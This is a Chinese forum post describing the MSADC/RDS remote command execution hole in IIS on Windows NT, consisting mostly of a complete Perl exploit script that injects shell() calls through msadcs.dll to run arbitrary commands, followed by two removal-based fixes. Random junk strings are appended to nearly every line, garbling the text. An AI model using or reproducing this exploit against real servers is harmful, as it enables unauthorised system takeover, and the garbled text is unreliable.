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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) #dKy{Q3he  
/ej[oR  
涉及程序: NVghkd  
Microsoft NT server CY*o"@-o5)  
-)Bvx>8fq-  
描述: iO&*WIbg  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #i .,+Q  
,PmUl=  
详细: Nc &J%a  
如果你没有时间读详细内容的话,就删除: (H5#r2h%Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ,{mv6?_  
有关的安全问题就没有了。 m}u)C&2>  
q}+zN eC  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 %ufh  
"={*0P  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]J[d8S5  
关于利用ODBC远程漏洞的描述,请参看: S)g:+P  
81"` B2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Pz34a@%"  
_Dd>e=v  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 #|4G,!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =\_gT=tZ  
jz`3xFy *]  
这里不再论述。 7Q]c=i cg  
`LNhamp  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: iGSA$U P|  
Y/6>OD  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset gROK4'j6y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0^R, d M  
WQ 2{`'z  
% YK xdp  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 4e/!BGkAS  
d&CpaOSu  
#!perl [zBi*%5O  
# 'B{FRK  
# MSADC/RDS 'usage' (aka exploit) script 3:MJKS02OD  
# A+!,{G  
# by rain.forest.puppy WPkKbF  
# 2cUT bRm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me I ^m  
# beta test and find errors! ax>j3HKi  
5wmd[YL  
use Socket; use Getopt::Std; #GLW3}  
getopts("e:vd:h:XR", \%args); ,% Qh S5e  
t[J=8rhER  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; oz>2P.7  
M,S'4Sz uk  
if (!defined $args{h} && !defined $args{R}) { $%q=tn'EX  
print qq~  *<W8j[?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } S\h5 D2G;  
-h <host> = host you want to scan (ip or domain) v+"4YIN  
-d <seconds> = delay between calls, default 1 second hO&b\#@~  
-X = dump Index Server path table, if available CxeW5qc  
-v = verbose GLyPgZ`|  
-e = external dictionary file for step 5 bq9w@O  
tH)j EY9  
Or a -R will resume a command session (bQ3:%nD  
njf\fw_  
~; exit;} C<AW)|r_  
&n )MGg1%  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ?*yyne  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n Syq}Y3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {@ vnKyf^K  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,bXZ<RY$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} C=V2Y_j  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1Vdi5;dn  
F'b%D  
if (!defined $args{R}){ $ret = &has_msadc; y7M{L8{0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} z,4mg6gt  
' {UKO7   
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ] re=8s6  
. "cmd /c "; E#!!tH`lgg  
$in=<STDIN>; chomp $in; _ Lb"yug  
$command="cmd /c " . $in ; gr*CN<  
;5bd<N  
if (defined $args{R}) {&load; exit;} v8*)^-Fx  
i-Rn,}v  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 6ki2/ Q  
&try_btcustmr; @]vY[O!&;  
EM*I%|n@m  
print "\nStep 2: Trying to make our own DSN..."; P2a5<#_|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; nq]6S$3 6  
<- !1`@l>  
print "\nStep 3: Trying known DSNs..."; /O}<e TR  
&known_dsn; # G 77q$  
UMR?q0J  
print "\nStep 4: Trying known .mdbs...";  vUJ; D  
&known_mdb; 8Rwk o6x  
u*G<?  
if (defined $args{e}){ M&j|5UH%.  
print "\nStep 5: Trying dictionary of DSN names..."; <mE`<-$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } X n$ZA-  
R,G*]/r`  
print "Sorry Charley...maybe next time?\n"; :R,M Y"(  
exit; Ha`N  
nf/?7~3?[  
############################################################################## b/'c h  
Mg.%&vH\  
sub sendraw { # ripped and modded from whisker X+aQ 7^"s  
sleep($delay); # it's a DoS on the server! At least on mine... = 'NV3by  
my ($pstr)=@_; hr}f5Z)^v  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &7f8\TG|  
die("Socket problems\n"); _ \6v@  
if(connect(S,pack "SnA4x8",2,80,$target)){ & "&s,  
select(S); $|=1; \~l_w ,Poo  
print $pstr; my @in=<S>; `SFeln{1B  
select(STDOUT); close(S); <ToBVG X  
return @in; Lj3o-@\*j  
} else { die("Can't connect...\n"); }} h6 {vbYj  
Nv7-6C6<  
############################################################################## }+9?)f{?@  
\;)g<TwL  
sub make_header { # make the HTTP request k0e}`#t  
my $msadc=<<EOT %hsCB .r>|  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 i]%f94  
User-Agent: ACTIVEDATA e~SK*vR%]  
Host: $ip V ql4*OJW  
Content-Length: $clen qT@h/Y  
Connection: Keep-Alive |nZ^RCHog  
aDK b78 1d  
ADCClientVersion:01.06 r%?-MGc  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 . ,^WCyvq  
m!/TJhiQ  
--!ADM!ROX!YOUR!WORLD! 2bNOn%!  
Content-Type: application/x-varg Cf=H~&`Z  
Content-Length: $reqlen [i`  
tp] 5[U  
EOT V:kRr cX  
; $msadc=~s/\n/\r\n/g; .J)TIc__|A  
return $msadc;} T;/GHC`{Y  
|#@7$#j  
############################################################################## U=.PL\  
'q-q4 QCB  
sub make_req { # make the RDS request z l@^[km{  
my ($switch, $p1, $p2)=@_;  2h   
my $req=""; my $t1, $t2, $query, $dsn; Mj MDD  
KGy 3#r;Q  
if ($switch==1){ # this is the btcustmr.mdb query G%erh}0~  
$query="Select * from Customers where City=" . make_shell(); ep"[; $Eb  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . g#J aw|N  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 35& ^spb  
h=7q;-@7  
elsif ($switch==2){ # this is general make table query b_31 \  
$query="create table AZZ (B int, C varchar(10))"; qNQ54#  
$dsn="$p1";} e^Zm09J  
);gY8UL^  
elsif ($switch==3){ # this is general exploit table query v|%41xOsr  
$query="select * from AZZ where C=" . make_shell(); a;HAuy`M x  
$dsn="$p1";} 1MLL  
OyZR&,q  
elsif ($switch==4){ # attempt to hork file info from index server JN0h3nZ_  
$query="select path from scope()"; zuvPV{ X  
$dsn="Provider=MSIDXS;";} ~=|}!A(  
exb} y  
elsif ($switch==5){ # bad query 86r"hy~  
$query="select"; hC<ROD  
$dsn="$p1";} V)^Xz8H_  
,MCTb'=G  
$t1= make_unicode($query); q-JTGCFl  
$t2= make_unicode($dsn); #d-({blo<  
$req = "\x02\x00\x03\x00"; OIrm9D #  
$req.= "\x08\x00" . pack ("S1", length($t1)); RV~fml9c  
$req.= "\x00\x00" . $t1 ; |p6d]#z3  
$req.= "\x08\x00" . pack ("S1", length($t2)); rwF$aR>9  
$req.= "\x00\x00" . $t2 ; TEC^|U`G  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; c{=Sy;i@  
return $req;} $o[-xNn1  
J/je/PC  
############################################################################## &h334N|4{  
h Qn?qJy%W  
sub make_shell { # this makes the shell() statement rVz.Ws#  
return "'|shell(\"$command\")|'";} ED&nrd1P  
C?z S}ob  
############################################################################## kTb$lLG\xk  
UBaXS_c\  
sub make_unicode { # quick little function to convert to unicode ku]5sd >b  
my ($in)=@_; my $out; cc[(w #K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]Y\$U<YjO  
return $out;} .@VZ3"  
!mNst$-H4  
############################################################################## 24jf`1XFW  
]01`r/->\  
sub rdo_success { # checks for RDO return success (this is kludge) 0'Pjnk-i  
my (@in) = @_; my $base=content_start(@in); VE )D4RL  
if($in[$base]=~/multipart\/mixed/){  Unk/uk  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @{y'_fw  
return 0;} op6]"ZV-C  
],]Rv#`  
############################################################################## ^Oz~T|)  
?xj8a3F  
sub make_dsn { # this makes a DSN for us >fBPVu\PA  
my @drives=("c","d","e","f"); OIblBQ!  
print "\nMaking DSN: "; Lw>B:3e  
foreach $drive (@drives) { [6!k:-t+  
print "$drive: "; }t)+eSUA  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Fw<"]*iu  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -b-a21,m>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .zO^"mXjS  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; n7!T{+ge  
return 0 if $2 eq "404"; # not found/doesn't exist WPNB!" E98  
if($2 eq "200") { M)bQvjj  
foreach $line (@results) { cgb>Naa<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h.\I tK{)  
} return 0;} Tv``\<   
!nBbt?*  
############################################################################## c!Hz'W  
Bz]tKJ  
sub verify_exists { )4g_S?l=  
my ($page)=@_; t<!m4Yd|#  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,->ihxf  
return $results[0];} v vErzUxN  
6Og@tho  
############################################################################## (?qCtLZ  
Sy8t2lk  
sub try_btcustmr { =3bk=vy  
my @drives=("c","d","e","f"); ;8]HCC@:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s%jBIeh  
EG{+Sz  
foreach $dir (@dirs) { n`5Nf  
print "$dir -> "; # fun status so you can see progress Wmbc `XC  
foreach $drive (@drives) { w  S  
print "$drive: "; # ditto q<09]i  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; SyL"Bmi  
$reqlenlen=length( "$reqlen" ); DG TLlBkT  
$clen= 206 + $reqlenlen + $reqlen; cC*WZ]  
7P{= Pv+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6r~9$IM  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} b^W&-Hh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} IL@yGuO,  
!:+U-mb*  
############################################################################## ,HjJ jpE  
P y'BMk  
sub odbc_error { Z518J46o  
my (@in)=@_; my $base; [+[ W\6  
my $base = content_start(@in); y_WC"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Oc)n,D)0  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ufL,K q4  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g#I`P&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zdP?HJ=F  
return $in[$base+4].$in[$base+5].$in[$base+6];} e9p/y8gC  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; : /5+p>Ep}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . MfQ0O?oBp  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} !@z9n\Yj  
fk}Raej g  
############################################################################## @fd<  
[<B,6nAl  
sub verbose { @[^ 3y C#  
my ($in)=@_; eu(Fhs   
return if !$verbose; ]5'*^rz ^  
print STDOUT "\n$in\n";} _c]}m3/  
=-dnniKW4  
############################################################################## DFr$2Y3H  
Jk.x^  
sub save { amsl>wc!  
my ($p1, $p2, $p3, $p4)=@_; 11PL1zzH  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; D4$b-?y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %<yW(s9{  
close OUT;} r`"_D%kc  
r'i99 ~  
############################################################################## Rxy|Ag/I;V  
&OU.BR >  
sub load { rVabkwYD  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; %jAc8~vW?  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  U#f*  
@p=<IN>; close(IN); Zl5DlRuw  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); L`t786 (M  
$target= inet_aton($ip) || die("inet_aton problems"); )QAYjW!Z  
print "Resuming to $ip ..."; lr&2,p<  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; AG >D,6Y  
if($p[1]==1) { tN{0C/B9  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; X0*+]tRg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ca=MUm=B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); . r/s.g  
if (rdo_success(@results)){print "Success!\n";} ]Jz=. F sO  
else { print "failed\n"; verbose(odbc_error(@results));}} ` k] TOc  
elsif ($p[1]==3){ &tOo[U?  
if(run_query("$p[3]")){ yK{P%oh)  
print "Success!\n";} else { print "failed\n"; }} RlfI]uCDM  
elsif ($p[1]==4){ X}[1Y3~y  
if(run_query($drvst . "$p[3]")){  ZPf&4#|  
print "Success!\n"; } else { print "failed\n"; }} <@7j37,R7V  
exit;} CX#d  
!d##q)D f?  
############################################################################## B~o3Z  
^ iu)vED  
sub create_table { 8z93ETv7`  
my ($in)=@_; q`AsnAzo&  
$reqlen=length( make_req(2,$in,"") ) - 28; $;g*s?F*  
$reqlenlen=length( "$reqlen" ); yc0 1\o  
$clen= 206 + $reqlenlen + $reqlen; d^'_H>x  
my @results=sendraw(make_header() . make_req(2,$in,"")); -Ua5anzB  
return 1 if rdo_success(@results);  WDNj 7  
my $temp= odbc_error(@results); verbose($temp); f TmJDUv+  
return 1 if $temp=~/Table 'AZZ' already exists/; r%: :q^b3  
return 0;} Xp;'Wa"@  
T:j41`g%s  
############################################################################## i(A `'V8GY  
|TJ gH<I  
sub known_dsn { [?z;'O}y  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go T #E{d  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", hbXmIst  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", &'\-M6GW  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); n_sV>$f-u  
aR6~r^jB  
foreach $dSn (@dsns) { 2 zo>`;l  
print "."; c%<81Y=  
next if (!is_access("DSN=$dSn")); PR;Bxy  
if(create_table("DSN=$dSn")){ ''2:ZXX  
print "$dSn successful\n"; 6@Q; LV+  
if(run_query("DSN=$dSn")){ zRh)q,Dt  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $zz4A~   
print "Something's borked. Use verbose next time\n";}}} print "\n";} `DSDuJw%  
319 4]  
############################################################################## QP%AJ[3ea%  
.9DhD=8aIO  
sub is_access { P'}EZ'  
my ($in)=@_; JNU9RxR  
$reqlen=length( make_req(5,$in,"") ) - 28; 8f,",NCgc  
$reqlenlen=length( "$reqlen" ); yJx,4be  
$clen= 206 + $reqlenlen + $reqlen; %5ov!nm7  
my @results=sendraw(make_header() . make_req(5,$in,"")); QKk7"2t|  
my $temp= odbc_error(@results); ,9OER!$y  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); w_@6!zm  
return 0;} :4:U\k;QwA  
M!G/5:VZ  
############################################################################## *"|f!t  
0>Kgz!I  
sub run_query { ~Q- /O~  
my ($in)=@_; TGpdl`k\T  
$reqlen=length( make_req(3,$in,"") ) - 28; =)#XZ[#F  
$reqlenlen=length( "$reqlen" ); TPJuS)TU9  
$clen= 206 + $reqlenlen + $reqlen; uxW |&q  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7WV"Wrl]  
return 1 if rdo_success(@results); %i&am=  
my $temp= odbc_error(@results); verbose($temp); sVO|Ghy65  
return 0;} +MS*YpPW  
e{: -N  
############################################################################## |r*y63\T  
$7-4pW$y  
sub known_mdb { Ow0~sFz  
my @drives=("c","d","e","f","g"); T+V:vuK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D<Z\6)|%I  
my $dir, $drive, $mdb; Lxa<zy~b  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; RG1#\d-fE  
sI)jqHZG  
# this is sparse, because I don't know of many #;2kN &  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ]<},[s  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 7CT446  
"\\system32\\certmdb.mdb", .j!:Hp(z}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% gd)VL}k  
5"#xbvRS0H  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", j97c@  
"\\cfusion\\cfapps\\forums\\forums_.mdb", H8c -/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |$T?P*pI.  
"\\cfusion\\cfapps\\security\\realm_.mdb", f]+. i-c=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", q|.0Ja  
"\\cfusion\\database\\cfexamples.mdb", @M*5q# s  
"\\cfusion\\database\\cfsnippets.mdb", ud(w0eX  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", enMHKN g  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Zf)<)o*  
"\\cfusion\\brighttiger\\database\\cleam.mdb", <.|]%7  
"\\cfusion\\database\\smpolicy.mdb", -P]onD  
"\\cfusion\\database\cypress.mdb", O|;|7fCB\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6%VRQ#g!  
"\\website\\cgi-win\\dbsample.mdb", ]xJ2;{JWsO  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", J@N q  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" K>+c2;t;  
); #these are just "jq F  
foreach $drive (@drives) { &>@EfW](  
foreach $dir (@dirs){ m]++ !  
foreach $mdb (@sysmdbs) { Xp^71A?>  
print "."; btf]~YN  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9@(V!G  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; #1>c)_H  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ?cr^.LV|h^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; xqVIw!J?/}  
} else { print "Something's borked. Use verbose next time\n"; }}}}} U,9=&"e b  
Jpe\  
foreach $drive (@drives) { ECOzquvM  
foreach $mdb (@mdbs) { 4!+IsT  
print "."; v~O2y>8Z  
if(create_table($drv . $drive . $dir . $mdb)){ oFJx8XU  
print "\n" . $drive . $dir . $mdb . " successful\n"; %tz foiJ%P  
if(run_query($drv . $drive . $dir . $mdb)){ orF8%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; kEdAt5/U{  
} else { print "Something's borked. Use verbose next time\n"; }}}} 62OZj%CXN  
} &ZPyZj  
|A u+^#:;  
############################################################################## j|WN!!7  
2K(zYv54  
sub hork_idx { K30{Fcb< h  
print "\nAttempting to dump Index Server tables...\n"; 1`&"U[{  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ADZU?7)  
$reqlen=length( make_req(4,"","") ) - 28; w#$Q?u ,G  
$reqlenlen=length( "$reqlen" ); JLxAk14lc  
$clen= 206 + $reqlenlen + $reqlen;  cCy*?P@  
my @results=sendraw2(make_header() . make_req(4,"","")); XgZ.UT  
if (rdo_success(@results)){ 9&KiG* .  
my $max=@results; my $c; my %d; h1N{;SWQ  
for($c=19; $c<$max; $c++){ SxRa?5  
$results[$c]=~s/\x00//g; >]8H@. \  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *+cW)klm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &14Er,K  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %,5_]bGvb  
$d{"$1$2"}="";} xCiq;FFR  
foreach $c (keys %d){ print "$c\n"; } [lAZ)6E~=  
} else {print "Index server doesn't seem to be installed.\n"; }} 4}HY= 0Um  
v+`gQXJ"G  
############################################################################## .37Jrh0Iv  
zC\L-i>G  
sub dsn_dict { !.5,RIf  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  F| O  
while(<IN>){ I.}E#f/A'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; eN ]9=Y~-K  
next if (!is_access("DSN=$dSn")); LZ*ZXFIg  
if(create_table("DSN=$dSn")){ 64-;| k4F  
print "$dSn successful\n"; p#(5 ;  
if(run_query("DSN=$dSn")){ nJo6;_MI!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ut^ {4_EC  
print "Something's borked. Use verbose next time\n";}}} V> @+&q  
print "\n"; close(IN);}  HO =\  
0=KyupwXC  
############################################################################## t=(CCq_N,  
5XA{<)$  
sub sendraw2 { # ripped and modded from whisker z0-`D.D@\  
sleep($delay); # it's a DoS on the server! At least on mine... +/~;y{G..z  
my ($pstr)=@_; ]PjJy/vkjj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Bgj^n{9x  
die("Socket problems\n"); >FM2T<.;  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;V\l, u  
print "Connected. Getting data"; s8 0$   
open(OUT,">raw.out"); my @in; ":N E I  
select(S); $|=1; print $pstr; uz;z+Bd^  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <2{-ey]  
close(OUT); select(STDOUT); close(S); return @in; <2>Qr(bb  
} else { die("Can't connect...\n"); }} BO)Q$*G~JD  
ify}xv  
############################################################################## Mu]1e5^]  
`Kq4z62V  
sub content_start { # this will take in the server headers i"o %Gc  
my (@in)=@_; my $c; &ywU^hBh  
for ($c=1;$c<500;$c++) { )>|x2q  
if($in[$c] =~/^\x0d\x0a/){ j UCrj'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } u' +;/8  
else { return $c+1; }}} 6#/v:;bF  
return -1;} # it should never get here actually f+ Ht  
E;AOCbV*$  
############################################################################## JQ)w/@Vu=  
;4ETqi9  
sub funky { m<uBRI*I  
my (@in)=@_; my $error=odbc_error(@in); bs=x>F  
if($error=~/ADO could not find the specified provider/){ pw5uH  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %ryYa  
exit;} YRm6~c  
if($error=~/A Handler is required/){ E1-BB  
print "\nServer has custom handler filters (they most likely are patched)\n"; m3i+b  
exit;} 7$u}uv`j  
if($error=~/specified Handler has denied Access/){ i917d@r(<  
print "\nServer has custom handler filters (they most likely are patched)\n"; zBTyRL l  
exit;}} I[v6Y^{q  
%^CoWbU  
############################################################################## -'mTSJ.}  
I8:A]  
sub has_msadc { ruQ1Cph  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); U sS"WflB  
my $base=content_start(@results); HJeZm  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); eQqx0+-0c  
return 0;} TcM;6h`  
zLda&#+  
######################## +=N#6 # 1  
DYFfq  
sV`!4 u7%}  
解决方案: S)$iHBx{  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll E\Et,l#|LY  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 _ ^ny(zy(  
EYD24  
拿出来充数 哈哈
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